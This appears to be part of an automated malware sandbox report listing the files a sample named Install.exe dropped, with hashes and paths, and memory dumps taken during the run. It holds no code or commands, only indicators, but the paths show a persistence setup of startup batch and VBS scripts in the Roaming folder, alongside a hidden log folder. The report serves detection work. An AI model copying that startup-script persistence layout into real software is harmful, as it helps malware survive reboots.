SHA512 2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 b1bb1798579847dd7f955bd1d43e572bb521e4f304ca6c1ab25ef24406f7e873
MD5 fb452a70f35730486ca3d9e8f964ce2d
SHA1 0dc58e718a9d28b5fe63a7baa9e8c1ff779b2f94
SHA512 0be27f3b7f268323e3a5f6687906ab0c3cbfe282e017f92d93629e0c90fd07fec84d0f27afc3efef42310c5a8d1f7a0e1fe44b7ddf6ffb5a57a89b5452f88d62
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYoFi3j39MVvjMLUsszyhMUp7Fv+Eca5b/h4iv:KC+jH04tAHk5MrxyNhftflJdPYoFi3j1
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 17KB
SHA256 700ce7e1bc5b2f45e86bb461078c34a387c88bb889969208c7d14ede3d1f2bcf
MD5 7d20633e26af58087230d43f4f586f5e
SHA1 d242b4e0f1dbfe9c7bf46a010f0273f7ba17b960
SHA512 38b54bb198f2ea158bdfef4c704c7f86915c532317ae35104fb0e9865f1e8f9bfb7088c8388e05becae9a7452a362dd9e8eec923ab9a56b989accb67b65aa917
SSDEEP 384:5rf+C6m9p+j1vBhBizepAJo9o2Tof6seYbylo/7XyZG3SoeZePbw6A9GFEDsJ:Rftu1Toz7ao2TogosorIyS+bw6UGT
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\Install.exe
Size 163KB
SHA256 6cd0c5b5b528c15ad28d9f8e44ee2b4e46d8942e8c0592e89c056a3a3661c3b3
MD5 051b3f7c30caf2eedbed29daa6192efb
SHA1 a3e0f31e4b4367e5af06f71e7718e7d64ceb250d
SHA512 93288a5e145ebf48fb5b536cf331159dad81c1c0458099b5cfc649fddc9a5755739cab9d46c8a3f562dba1ed7ed4852c51eaebd73e9ea8ee28f053df22c74158
SSDEEP 3072:uQpsuVjdCw1fvqTrjl+k2CP8CMHxmzwMb4TvW8rFS4MEFqpDrZ4LMBBg:uQpsuVjdCw1fvU9SgcCcFS4MEFyJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_5f3crmde.i0g.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5f3crmde.i0g.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

aZQx3kYGGJ7u.bat

Path C:\Users\Admin\AppData\Local\Temp\aZQx3kYGGJ7u.bat
Size 276B
SHA256 c701443b5554389c8e547dc471f86cd458ec9548b288a6a0ecacb0ab4d79c74e
MD5 a730109c33e570d4d1a0b3623f8f7f71
SHA1 8773c62876f73a9cb75b6974cfda308899d182ef
SHA512 4e7404fb84911a969ba62b53dc25b1eb8b154a2bfef9a25fae01535ba53db1282aa2fbc4709b27adbf7a2a356a303ce22ebb16ac6f2afb92ba5c6a307a7a572b
MD5 SHA1 SHA512

Submit Download

05-29-~1

Path C:\Users\Admin\AppData\Roaming\$sxr-Logs\05-29-~1
Size 224B
SHA256 2ab9541f94da5b144ce6839b07e3476ce7adf6fe9c05ea6501a595effe9ed481
MD5 57b814ad905fb8d180bd22864528a8f5
SHA1 c09cbb9b968e7577f9b3a711bc98643d430b3a81
SHA512 01794df692b30c6e2463b27f8e835727b03e84381fbfc336acef37ab905fa1df0d48b04e1d3d8502905d872d0f55f9deeb57fc256b0d6614b0881659b9450509
MD5 SHA1 SHA512

Submit Download

startup_str_818.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_818.bat
Size 1003KB
SHA256 070f7c800e8278b2cad111635cec3c501ff0aa9aa93fdd9529fcb8736a06d56d
MD5 d6d62f532591a7d034abac21eff0b57b
SHA1 94c28efce74a67eb18d28bd51f65d285c8d1caef
SHA512 26f94770e0d250aa6e063af8d5422848a72753a72b20e62b33a76fef5453cdd9e1f70466a935ef0dec145af9b293e12a6ec0e9101f0bd8e80edd3f4be706294a
SSDEEP 24576:iGtp7xs0OFrW/eIeexsYboNCkhhdmjynCf7O:jXO5WnsYcTdPnwO
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_818.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_818.vbs
Size 115B
SHA256 33e68ae4f49b4aead8f6a0e7413a4c7a777a5c84352d3ec17ec9142d9655f5b4
MD5 f4a0f00b92484bc324297e93208e9a6d
SHA1 840da11b6f2fdd10886eaeef625cac6896807aa2
SHA512 1c9133e97d19afd657783e745999d65d77366a7a071ca6353817d0e08153a0d6ccdf001ffeb33b3e06405148158302934e55a5181de6ec5f0e2fd8b341f820be
MD5 SHA1 SHA512

Submit Download

memory/364-127-0x00007FFD77DC0000-0x00007FFD77E7E000-memory.dmp

Download

memory/364-121-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/364-120-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/364-126-0x00007FFD79D70000-0x00007FFD79F65000-memory.dmp

Download

memory/364-125-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/364-123-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/364-122-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/512-17-0x00000000062E0000-0x00000000062FE000-memory.dmp

Download

memory/512-19-0x0000000008B00000-0x000000000917A000-memory.dmp

Download

memory/512-6-0x0000000005D40000-0x0000000005DA6000-memory.dmp

Download

memory/512-18-0x0000000006300000-0x000000000634C000-memory.dmp

Download

memory/512-23-0x000000000A730000-0x000000000ACD4000-memory.dmp

Download

memory/512-22-0x0000000008530000-0x0000000008622000-memory.dmp

Download

memory/512-21-0x0000000006830000-0x0000000006838000-memory.dmp

Download

memory/512-20-0x0000000006890000-0x00000000068AA000-memory.dmp

Download

memory/512-5-0x0000000005CD0000-0x0000000005D36000-memory.dmp

Download

memory/512-16-0x0000000005DB0000-0x0000000006104000-memory.dmp

Download

memory/512-0-0x0000000074E4E000-0x0000000074E4F000-memory.dmp

Download

memory/512-1-0x0000000002DD0000-0x0000000002E06000-memory.dmp

Download

memory/512-2-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/512-4-0x00000000055F0000-0x0000000005612000-memory.dmp

Download

memory/512-78-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/512-3-0x00000000056A0000-0x0000000005CC8000-memory.dmp

Download

memory/2964-104-0x0000000007960000-0x00000000079A4000-memory.dmp

Download

memory/2964-115-0x0000000007B30000-0x0000000007BA6000-memory.dmp

Download

memory/3300-116-0x000000000A330000-0x000000000A36C000-memory.dmp

Download

memory/3300-83-0x00000000081C0000-0x000000000822C000-memory.dmp

Download

memory/3300-84-0x0000000008370000-0x0000000008402000-memory.dmp

Download

memory/3300-131-0x0000000008510000-0x000000000851A000-memory.dmp

Download

memory/3300-103-0x0000000007FD0000-0x0000000007FE2000-memory.dmp

Download

memory/4232-117-0x0000017EED040000-0x0000017EED06A000-memory.dmp

Download

memory/4232-119-0x00007FFD77DC0000-0x00007FFD77E7E000-memory.dmp

Download

memory/4232-105-0x0000017EECCD0000-0x0000017EECCF2000-memory.dmp

Download

memory/4232-118-0x00007FFD79D70000-0x00007FFD79F65000-memory.dmp

Download

memory/4676-55-0x0000000007110000-0x0000000007121000-memory.dmp

Download

memory/4676-49-0x0000000006DB0000-0x0000000006DCE000-memory.dmp

Download

memory/4676-54-0x0000000007190000-0x0000000007226000-memory.dmp

Download

memory/4676-59-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/4676-52-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/4676-50-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/4676-51-0x0000000006DE0000-0x0000000006E83000-memory.dmp

Download

memory/4676-53-0x0000000006F80000-0x0000000006F8A000-memory.dmp

Download

memory/4676-48-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/4676-38-0x0000000070C60000-0x0000000070CAC000-memory.dmp

Download

memory/4676-37-0x0000000006D70000-0x0000000006DA2000-memory.dmp

Download

memory/4676-56-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/4676-27-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/4676-26-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download

memory/4676-25-0x0000000074E40000-0x00000000755F0000-memory.dmp

Download